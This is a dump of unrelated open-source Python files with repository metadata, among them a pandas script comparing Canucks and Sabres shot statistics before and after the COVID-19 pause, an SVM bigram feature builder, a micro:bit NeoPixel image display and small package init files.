import pandas as pd import seaborn as sns import numpy as np # Loading the csv file and dropiing the unwanted columns. def load_and_process(path_to_csv_file): data = (pd.read_csv(path_to_csv_file) .drop(columns =['CF','CA','SCF','SCA','TOI', 'Unnamed: 2']) ) return data # Dropping all of the teams I don't want and just getting the Vancouver Canucks, reseting the index, collecting the correct games (10 before Covid-19 outbreak). def Canucks_Before_Data(data): data1 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Buffalo Sabres", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:27]).drop(data.index[47:56]) .reset_index().drop(columns = "index") .drop(columns =['level_0']) .drop(data.index[10:20]) .reset_index() .rename(columns={'CF%':"CF% Before",'SCF%':"SCF% Before",'SH%':"SH% Before",'SV%':"SV% Before",'PDO':"PDO Before"}).drop(columns="Team") ) return data1 # Dropping all of the teams I don't want and just getting the Vancouver Canucks, reseting the index, collecting the correct games (10 after Covid-19 outbreak). def Canucks_After_Data(data): data2= (data.drop(data[data.Team.isin(["Arizona Coyotes", "Buffalo Sabres", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:27]).drop(data.index[47:56]) .reset_index().drop(columns = "index") .drop(columns =['level_0']) .drop(data.index[0:10]).drop(data.index[20:20]) .reset_index() .rename(columns={'CF%':"CF% After",'SCF%':"SCF% After",'SH%':"SH% After",'SV%':"SV% After",'PDO':"PDO After"}).drop(columns="Team") ) return data2 # Dropping all of the teams I don't want and just getting the Buffalo Sabres, reseting the index, collecting the correct games (10 before Covid-19 outbreak). def Sabres_Before_Data(data): data3 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Vancouver Canucks", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[20:56]) .drop(data.index[10:20]) .drop(columns = "index") .reset_index() .rename(columns={'CF%':"CF% Before",'SCF%':"SCF% Before",'SH%':"SH% Before",'SV%':"SV% Before",'PDO':"PDO Before"}).drop(columns="Team") ) return data3 # Dropping all of the teams I don't want and just getting the Buffalo Sabres, reseting the index, collecting the correct games (10 After Covid-19 outbreak). def Sabres_After_Data(data): data4 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Vancouver Canucks", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:10]) .drop(data.index[20:56]) .drop(columns = "index") .reset_index() .rename(columns={'CF%':"CF% After",'SCF%':"SCF% After",'SH%':"SH% After",'SV%':"SV% After",'PDO':"PDO After"}).drop(columns="Team") ) return data4 # Canucks Combined Function def Canucks_Before_And_After(data): data1 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Buffalo Sabres", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:27]).drop(data.index[47:56]) .reset_index().drop(columns = "index") .drop(columns =['level_0']) .drop(data.index[10:20]) .reset_index() .rename(columns={'CF%':"CF% Before",'SCF%':"SCF% Before",'SH%':"SH% Before",'SV%':"SV% Before",'PDO':"PDO Before"}).drop(columns="Team") .drop(columns = ["index"]) ) data2 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Buffalo Sabres", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:27]).drop(data.index[47:56]) .reset_index().drop(columns = "index") .drop(columns =['level_0']) .drop(data.index[0:10]).drop(data.index[20:20]) .reset_index() .rename(columns={'CF%':"CF% After",'SCF%':"SCF% After",'SH%':"SH% After",'SV%':"SV% After",'PDO':"PDO After"}).drop(columns="Team") .drop(columns = ["index"]) ) DataCanucksBandA = (pd.concat([data1,data2], axis=1) ) return DataCanucksBandA # Sabres Combined Function def Sabres_Before_After(data): data3 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Vancouver Canucks", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[20:56]) .drop(data.index[10:20]) .drop(columns = "index") .reset_index() .rename(columns={'CF%':"CF% Before",'SCF%':"SCF% Before",'SH%':"SH% Before",'SV%':"SV% Before",'PDO':"PDO Before"}).drop(columns="Team") .drop(columns = ["index"]) ) data4 = (data.drop(data[data.Team.isin(["Arizona Coyotes", "Vancouver Canucks", "Boston Bruins", "Carolina Hurricanes", "Columbus Blue Jackets", "Calgary Flames", "Chicago Blackhawks", "Colorado Avalanche", "Dallas Stars", "Detroit Red Wings", "Florida Panthers", "Los Angeles Kings", "Minnesota Wild", "Nashville Predators", "Pittsburgh Penguins", "San Jose Sharks", "Tampa Bay Lightning", "St Louis Blues", "Vegas Golden Knights", "Edmonton Oilers", "Montreal Canadiens", "New Jersey Devils", "New York Islanders", "New York Rangers", "Ottawa Senators", "Philadelphia Flyers", "Toronto Maple Leafs", "Winnipeg Jets", "Washington Capitals", "Anaheim Ducks"])].index) .reset_index() .drop(data.index[0:10]) .drop(data.index[20:56]) .drop(columns = "index") .reset_index() .rename(columns={'CF%':"CF% After",'SCF%':"SCF% After",'SH%':"SH% After",'SV%':"SV% After",'PDO':"PDO After"}).drop(columns="Team") .drop(columns = ["index"]) ) DataSabresBandA = (pd.concat([data3,data4], axis=1) ) return DataSabresBandA # A function to show the statistics of selected variables for the top four functions. def Describe(data): return data.describe().T

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Python

Utilities/VTKPythonWrapping/paraview/vtk/widgets.py

cjh1/ParaView

b0eba067c87078d5fe56ec3cb21447f149e1f31a

[ "BSD-3-Clause" ]

17

2015-02-17T00:30:26.000Z

2022-03-17T06:13:02.000Z

Utilities/VTKPythonWrapping/paraview/vtk/widgets.py

cjh1/ParaView

b0eba067c87078d5fe56ec3cb21447f149e1f31a

[ "BSD-3-Clause" ]

null

Utilities/VTKPythonWrapping/paraview/vtk/widgets.py

cjh1/ParaView

b0eba067c87078d5fe56ec3cb21447f149e1f31a

[ "BSD-3-Clause" ]

10

2015-08-31T18:20:17.000Z

2022-02-02T15:16:21.000Z

from vtkWidgetsPython import *

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Python

scripts/svm/union.py

AdLucem/infotabs-code

1dd90c2db1eff920c5cf19385a292dcb2cc51860

[ "Apache-2.0" ]

19

2020-05-02T01:01:29.000Z

2022-02-20T19:26:48.000Z

scripts/svm/union.py

AdLucem/infotabs-code

1dd90c2db1eff920c5cf19385a292dcb2cc51860

[ "Apache-2.0" ]

null

scripts/svm/union.py

AdLucem/infotabs-code

1dd90c2db1eff920c5cf19385a292dcb2cc51860

[ "Apache-2.0" ]

5

2020-05-01T20:31:41.000Z

2021-11-02T08:19:52.000Z

import pandas as pd import numpy as np from numpy import linalg as LA data_dir="./../../temp/data/parapremise/" save_dir="./../../temp/svmformat/union" def get_dimensions(train_data,dev_data,test_data, test_adverse_data, alpha3_data): bigram_to_index = {} index_to_bigram = [] for index,row in train_data.iterrows(): #label = int(row["label"]) try: if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] except: print(index) print(row["hypothesis"]) continue unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) try: unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) except: bigrams_premise = bigrams bigrams_union = list(bigrams.union(bigrams_premise)) for b in bigrams_union: key = " ".join(b) if key not in bigram_to_index.keys(): bigram_to_index[key] = len(index_to_bigram) index_to_bigram.append(key) if (index+1)%1000 == 0: print("{} examples finshed".format(index+1)) for index,row in dev_data.iterrows(): #label = int(row["label"]) if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) try: unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) except: bigrams_premise = bigrams bigrams_union = list(bigrams.union(bigrams_premise)) for b in bigrams_union: key = " ".join(b) if key not in bigram_to_index.keys(): bigram_to_index[key] = len(index_to_bigram) index_to_bigram.append(key) if (index+1)%1000 == 0: print("{} examples finshed".format(index+1)) for index,row in test_data.iterrows(): #label = int(row["label"]) if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) try: unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) except: bigrams_premise = bigrams bigrams_union = list(bigrams.union(bigrams_premise)) for b in bigrams_union: key = " ".join(b) if key not in bigram_to_index.keys(): bigram_to_index[key] = len(index_to_bigram) index_to_bigram.append(key) if (index+1)%1000 == 0: print("{} examples finshed".format(index+1)) for index,row in test_adverse_data.iterrows(): #label = int(row["label"]) if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) bigrams_union = list(bigrams.union(bigrams_premise)) for b in bigrams_union: key = " ".join(b) if key not in bigram_to_index.keys(): bigram_to_index[key] = len(index_to_bigram) index_to_bigram.append(key) if (index+1)%1000 == 0: print("{} examples finshed".format(index+1)) for index,row in alpha3_data.iterrows(): #label = int(row["label"]) if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) try: unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) except: bigrams_premise = bigrams bigrams_union = list(bigrams.union(bigrams_premise)) for b in bigrams_union: key = " ".join(b) if key not in bigram_to_index.keys(): bigram_to_index[key] = len(index_to_bigram) index_to_bigram.append(key) if (index+1)%1000 == 0: print("{} examples finshed".format(index+1)) return bigram_to_index, index_to_bigram def get_data(data, bigram_to_index): trainable_data = np.zeros((1,len(bigram_to_index))) labels = np.array([]) for index,row in data.iterrows(): labels = np.append(labels,int(row["label"])) data_point = np.zeros((1,len(bigram_to_index))) if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams for b in bigrams: key = " ".join(b) data_point[0][bigram_to_index[key]] = 1 trainable_data = np.append(trainable_data,data_point,axis=0) if (index+1)%1000 == 0: print("{} examples finshed".format(index)) trainable_data = trainable_data[1:] return trainable_data, labels def get_data_svm_format(data, bigram_to_index): trainable_data = "" for index,row in data.iterrows(): data_point = str(int(row["label"])+1) + " " try: if row["hypothesis"][-1] == '.': row["hypothesis"] = row["hypothesis"][:-1] except: print(index) print(row["hypothesis"]) continue unigrams = row["hypothesis"].split(" ")[:-1] bigrams = [b for b in zip(row["hypothesis"].split(" ")[:-1], row["hypothesis"].split(" ")[1:])] bigrams += unigrams bigrams = set(bigrams) try: unigrams_premise = row["premise"].split(" ")[:-1] bigrams_premise = [b for b in zip(row["premise"].split(" ")[:-1], row["premise"].split(" ")[1:])] bigrams_premise += unigrams_premise bigrams_premise = set(bigrams_premise) except: bigrams_premise = bigrams bigrams_union = list(bigrams.union(bigrams_premise)) bigram_active = [] for b in bigrams_union: key = " ".join(b) bigram_active += [int(bigram_to_index[key])+1] bigram_active = list(set(bigram_active)) bigram_active.sort() for b in bigram_active[:-1]: data_point += str(b) + ":" + "1" + " " try: trainable_data += data_point + str(bigram_active[-1]+1) +":"+"1"+"\n" except: pass if (index+1)%1000 == 0: print("{} examples finshed".format(index)) return trainable_data if __name__ == "__main__": train_data = pd.read_csv(data_dir+"train.tsv",sep="\t",encoding="ISO-8859-1") dev_data = pd.read_csv(data_dir+"dev.tsv",sep="\t",encoding="ISO-8859-1") test_data = pd.read_csv(data_dir+"test_alpha1.tsv",sep="\t",encoding="ISO-8859-1") test_adverse_data = pd.read_csv(data_dir+"test_alpha2.tsv",sep="\t",encoding="ISO-8859-1") alpha3_data = pd.read_csv(data_dir+"test_alpha3.tsv",sep="\t",encoding="ISO-8859-1") bigram_to_index, index_to_bigram = get_dimensions(train_data,dev_data,test_data,test_adverse_data, alpha3_data) print("Got_dimensions") #np.save("lookup.npy",np.array(index_to_bigram)) train_data_final = get_data_svm_format(train_data,bigram_to_index) fp = open(save_dir+"train.txt","w+") fp.write(train_data_final) dev_data_final = get_data_svm_format(dev_data,bigram_to_index) fp = open(save_dir+"dev.txt","w+") fp.write(dev_data_final) test_data_final = get_data_svm_format(test_data,bigram_to_index) fp = open(save_dir+"test_alpha1.txt","w+") fp.write(test_data_final) test_data_adverse_final = get_data_svm_format(test_adverse_data,bigram_to_index) fp = open(save_dir+"test_alpha2.txt","w+") fp.write(test_data_adverse_final) alpha3_data_final = get_data_svm_format(alpha3_data,bigram_to_index) fp = open(save_dir+"test_alpha3.txt","w+") fp.write(alpha3_data_final)

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py

Python

holobot/sdk/threading/__init__.py

rexor12/holobot

89b7b416403d13ccfeee117ef942426b08d3651d

[ "MIT" ]

1

2021-05-24T00:17:46.000Z

holobot/sdk/threading/__init__.py

rexor12/holobot

89b7b416403d13ccfeee117ef942426b08d3651d

[ "MIT" ]

41

2021-03-24T22:50:09.000Z

2021-12-17T12:15:13.000Z

holobot/sdk/threading/__init__.py

rexor12/holobot

89b7b416403d13ccfeee117ef942426b08d3651d

[ "MIT" ]

null

from .async_loop import AsyncLoop

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d766024bcf9d95022814fed3e5ee6c06f654f0d9

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py

Python

neopixel/neo_16x16_img/neo16x16_img.py

randmor/microbit-lib

68bf5a10b52fc56e87f5e4390285a4547eb58120

[ "MIT" ]

44

2018-01-29T16:27:34.000Z

2022-03-18T18:11:33.000Z

neopixel/neo_16x16_img/neo16x16_img.py

bsliao0211/microbit-lib

fd767fb44173f317e4640a7af08afdb065770d91

[ "MIT" ]

8

2018-09-03T15:12:54.000Z

2022-03-08T13:30:16.000Z

neopixel/neo_16x16_img/neo16x16_img.py

bsliao0211/microbit-lib

fd767fb44173f317e4640a7af08afdb065770d91

[ "MIT" ]

36

2018-02-07T03:35:24.000Z

2022-03-15T15:21:19.000Z

from microbit import * from neopixel import NeoPixel class neo16x16_img: def __init__(self,pin): self.np=NeoPixel(pin,256) def clear(self): self.np.clear() def show(self,dat,pos=0): for x in range(16): for y in range(8): if ((x+pos)*8)>=len(dat): self.np[x*16+y*2]=(0,0,0) self.np[x*16+y*2+1]=(0,0,0) else: t=dat[(x+pos)*8+y] r=t%16 g=(t>>4)%16 b=(t>>8)%16 if pos%2: self.np[x*16+y*2]=(r,g,b) else: self.np[x*16+15-y*2]=(r,g,b) r=(t>>12)%16 g=(t>>16)%16 b=(t>>20)%16 if pos%2: self.np[x*16+y*2+1]=(r,g,b) else: self.np[x*16+14-y*2]=(r,g,b) self.np.show() def _delay(t): while t>0: t=t-1 npdat=[ 0x000000, 0x000000, 0x000000, 0x000000, 0x121145, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x169156, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x234000, 0x15818B, 0x000217, 0x000000, 0x000000, 0x000000, 0x000000, 0x129000, 0x0AE17B, 0x000169, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x19C301, 0x24709C, 0x00013A, 0x000000, 0x000000, 0x000000, 0x000000, 0x116000, 0x169237, 0x24718B, 0x245169, 0x000000, 0x000000, 0x000000, 0x235000, 0x0CF09D, 0x1590AE, 0x159159, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x17C149, 0x09D18C, 0x0BF0BE, 0x23519C, 0x000234, 0x000000, 0x17B000, 0x16B15C, 0x14817C, 0x000024, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x002013, 0x012000, 0x11A126, 0x000116, 0x000000, 0x000000, 0x000000, 0x000000, 0x048012, 0x16B149, 0x12716A, 0x000000, 0x000000, 0x000000, 0x12811B, 0x147247, 0x09E16A, 0x15B09D, 0x00010A, 0x000000, 0x000000, 0x000000, 0x000000, 0x16C127, 0x0BE08D, 0x17A0BF, 0x18B09C, 0x13A17A, 0x000227, 0x214000, 0x0AE17A, 0x1680AE, 0x0AD235, 0x0BE0BF, 0x00009C, 0x000000, 0x000000, 0x000000, 0x000000, 0x236235, 0x158246, 0x000245, 0x246312, 0x18B168, 0x200145, 0x122000, 0x000123, 0x000000, 0x000000, 0x000000, 0x235000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0xEEE000, 0xFC9FC9, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9000, 0xFC9FC9, 0xFC9FC9, 0xEEEFC9, 0x000000, 0x000000, 0x000000, 0xAAA000, 0x555FC9, 0x000000, 0x333000, 0xEEEFC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000F90, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0xF99000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xFC9000, 0x000FC9, 0xF99000, 0x000000, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9FC9, 0x000000, 0x000F90, 0xFC9000, 0x000FC9, 0x000000, 0x000000, 0xBBB000, 0x333FC9, 0x000000, 0x111000, 0xEEEFC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9000, 0xFC9FC9, 0xFC9FC9, 0xFC9FC9, 0x000000, 0x000000, 0x000000, 0x000000, 0xFC9000, 0xFC9FC9, 0xFC9FC9, 0x000000, 0x000000, 0x000000, ] ne = neo16x16_img(pin1) n = 0 while True: ne.show(npdat, n) n = (n+16)%32 _delay(15000)

33.794643

52

0.653897

430

3,785

5.737209

0.283721

0.648561

0.632347

0.518849

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0.406567

0.310499

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null

0

1

0

6

d7664d6606be6452da89bc1bbf9ddda941f6b4d5

1,048

py

Python

back/tests/runtimes.py

ubbonolte/linkmaps

0f077f1d99ea3d1ea8cf672569a80899e1210203

[ "MIT" ]

null

back/tests/runtimes.py

ubbonolte/linkmaps

0f077f1d99ea3d1ea8cf672569a80899e1210203

[ "MIT" ]

null

back/tests/runtimes.py

ubbonolte/linkmaps

0f077f1d99ea3d1ea8cf672569a80899e1210203

[ "MIT" ]

null

from graph_service import WikiGraphGenerator import timeit def run_wiki_generator(): generator = WikiGraphGenerator() start = timeit.default_timer() graph = generator.generate('Cook_(domestic_worker)', depth=1) stop = timeit.default_timer() print ("Cook_(domestic_worker), Depth == 1: Runtime = ", stop - start, "s, Graph = ", graph) start = timeit.default_timer() graph = generator.generate('Cook_(domestic_worker)', depth=2) stop = timeit.default_timer() print ("Cook_(domestic_worker), Depth == 2: Runtime = ", stop - start, "s, Graph = ", graph) start = timeit.default_timer() graph = generator.generate('Albert Einstein', depth=1) stop = timeit.default_timer() print ("Albert Einstein, Depth == 1: Runtime = ", stop - start, "s, Graph = ", graph) start = timeit.default_timer() graph = generator.generate('Albert Einstein', depth=2) stop = timeit.default_timer() print ("Albert Einstein, Depth == 2: Runtime = ", stop - start, "s, Graph = ", graph) run_wiki_generator()

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1,048

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0.833819

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1,048

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null

0

1

0

1

0

1

0

null

0

6

d76af9d7c3fc144ed9a656741c2bc080bc06aa0d

47

py

Python

prigen/__init__.py

VladimirShitov/prigen

9d24abd83868c418f14201b72736dc0a68e98b94

[ "MIT" ]

null

prigen/__init__.py

VladimirShitov/prigen

9d24abd83868c418f14201b72736dc0a68e98b94

[ "MIT" ]

1

2021-03-11T12:45:59.000Z

prigen/__init__.py

VladimirShitov/prigen

9d24abd83868c418f14201b72736dc0a68e98b94

[ "MIT" ]

null

from prigen.generators import PrimersGenerator

23.5

46

0.893617

5

47

8.4

1

0

0.085106

47

1

47

0.976744

0

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0

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0

1

0

1

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null

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1

0

null

0

1

0

1

0

1

0

6

d77dd87111e0c6f01c351723b456afa8a3053955

747

py

Python

src/easymql/actions.py

vivek-shrikhande/easy-mql

8cbf6a77aed8230bd92cee5585227ea4a09001b8

[ "MIT" ]

null

src/easymql/actions.py

vivek-shrikhande/easy-mql

8cbf6a77aed8230bd92cee5585227ea4a09001b8

[ "MIT" ]

null

src/easymql/actions.py

vivek-shrikhande/easy-mql

8cbf6a77aed8230bd92cee5585227ea4a09001b8

[ "MIT" ]

null

class Action: @staticmethod def action(tokens): return tokens class ExpressionAction(Action): @staticmethod def action(tokens): return { '$' + ''.join( [ part.capitalize() if i else part for i, part in enumerate(tokens[0].lower().split('_')) ] ): tokens[1:] } class UnaryExpressionAction(Action): @staticmethod def action(tokens): return { '$' + ''.join( [ part.capitalize() if i else part for i, part in enumerate(tokens[0].lower().split('_')) ] ): tokens[-1] }

22.636364

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0.429719

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747

5.316667

0.35

0.169279

0.197492

0.253919

0.818182

0.695925

0

0.009852

0.456493

747

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null

0

1

0

1

0

null

0

1

0

6

ad0b9f8196ade5887ad082d8c2d90ad7476944ff

73

py

Python

ml_deeco/estimators/__init__.py

smartarch/ML-DEECo

f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8

[ "MIT" ]

null

ml_deeco/estimators/__init__.py

smartarch/ML-DEECo

f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8

[ "MIT" ]

null

ml_deeco/estimators/__init__.py

smartarch/ML-DEECo

f77aa8ffef6a971880dc3ec01f1bd2c03963f9a8

[ "MIT" ]

null

from .features import * from .estimate import * from .estimator import *

18.25

24

0.753425

9

73

6.111111

0.555556

0.363636

0

0.164384

73

3

25

24.333333

0.901639

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

ad9e663a6b1c76235d7ad34a3ac6d7813a9b6501

119

py

Python

tests/unit/Version.py

Vesuvium/sqlast

45088dd36de8c76505b2285c1650719b69aafbec

[ "MIT" ]

4

2019-04-05T03:31:46.000Z

2020-02-27T15:30:07.000Z

tests/unit/Version.py

Vesuvium/sqlast

45088dd36de8c76505b2285c1650719b69aafbec

[ "MIT" ]

null

tests/unit/Version.py

Vesuvium/sqlast

45088dd36de8c76505b2285c1650719b69aafbec

[ "MIT" ]

null

# -*- coding: utf-8 -*- from sqlast.Version import version def test_version_version(): assert version == '1.0.0'

17

34

0.663866

17

119

4.529412

0.705882

0

0.040816

0.176471

119

6

35

19.833333

0.744898

0.176471

0

0.052083

0

0.333333

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

a8f96d38756176383fe52b3753565b88bd663411

62

py

Python

collinearity/__init__.py

gianlucamalato/collinearity

ad78f1c4344f7c7cd812717080377317af17fcb2

[ "MIT" ]

20

2021-06-28T16:56:50.000Z

2021-12-14T18:27:37.000Z

collinearity/__init__.py

gianlucamalato/collinearity

ad78f1c4344f7c7cd812717080377317af17fcb2

[ "MIT" ]

null

collinearity/__init__.py

gianlucamalato/collinearity

ad78f1c4344f7c7cd812717080377317af17fcb2

[ "MIT" ]

3

2021-06-28T17:00:02.000Z

2021-12-14T18:28:25.000Z

from collinearity.SelectNonCollinear import SelectNonCollinear

62

0.935484

5

62

11.6

0.8

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62

1

62

0.983051

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1

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true

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1

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1

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null

0

1

0

1

0

1

0

6

66fde586f35f9f552d11b6a9786bb92de5be0a08

210

py

Python

dmb/data/transforms/__init__.py

yiranzhong/DenseMatchingBenchmark

a27413126508f4a09f7b5d71512602fde145f09e

[ "MIT" ]

1

2021-01-21T07:13:31.000Z

dmb/data/transforms/__init__.py

yiranzhong/DenseMatchingBenchmark

a27413126508f4a09f7b5d71512602fde145f09e

[ "MIT" ]

null

dmb/data/transforms/__init__.py

yiranzhong/DenseMatchingBenchmark

a27413126508f4a09f7b5d71512602fde145f09e

[ "MIT" ]

null

from .transforms import Compose from .stereo_trans import ( ToTensor, RandomCrop, Normalize, StereoPad, CenterCrop ) __all__ = ['Compose', 'ToTensor', 'RandomCrop', 'Normalize', 'StereoPad', 'CenterCrop']

30

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0.738095

20

210

7.5

0.6

0.24

0.36

0.48

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0

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210

6

88

35

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0.252381

0

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0

null

1

0

1

0

null

0

1

0

6

0f502f13290214aff2307efc69ced3e1fb1dc50b

5,633

py

Python

core/migrations/0012_auto_20191003_1532.py

nirgal/ngw

0a28e8f12cb342a20ca3456e2a2ab91dd9c898be

[ "BSD-2-Clause" ]

null

